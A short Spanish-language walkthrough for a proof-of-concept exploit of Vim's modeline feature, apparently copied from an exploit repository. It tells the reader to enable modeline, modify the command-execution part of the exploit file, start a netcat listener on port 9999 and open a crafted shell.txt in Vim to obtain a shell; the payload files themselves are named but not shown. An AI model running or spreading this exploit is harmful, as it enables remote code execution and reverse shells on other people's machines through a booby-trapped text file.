
Requisito previo: es necesario activar la función modeline.
La función modeline está activada por defecto para los usuarios normales, mientras que para el usuario root está desactivada por defecto.
Usa echo &modeline para comprobar su estado: 1 significa activada y 0 desactivada.
Si no está activada, puedes añadir set modeline en ~/.vimrc (si el archivo no existe, créalo tú mismo).
Si lo escribes manualmente, ten en cuenta que el carácter de escape x1b es un carácter no imprimible.
Si quieres modificar la segunda parte del código de explotación, la forma más sencilla es descargar el archivo fuente y modificar la parte que ejecuta el comando; también puedes usar un editor binario para escribirlo o modificarlo tú mismo.
poc.txt:
vim poc.txt
shell.txt:
nc -lvp 9999
vim shell.txt
entonces puedes obtener una shell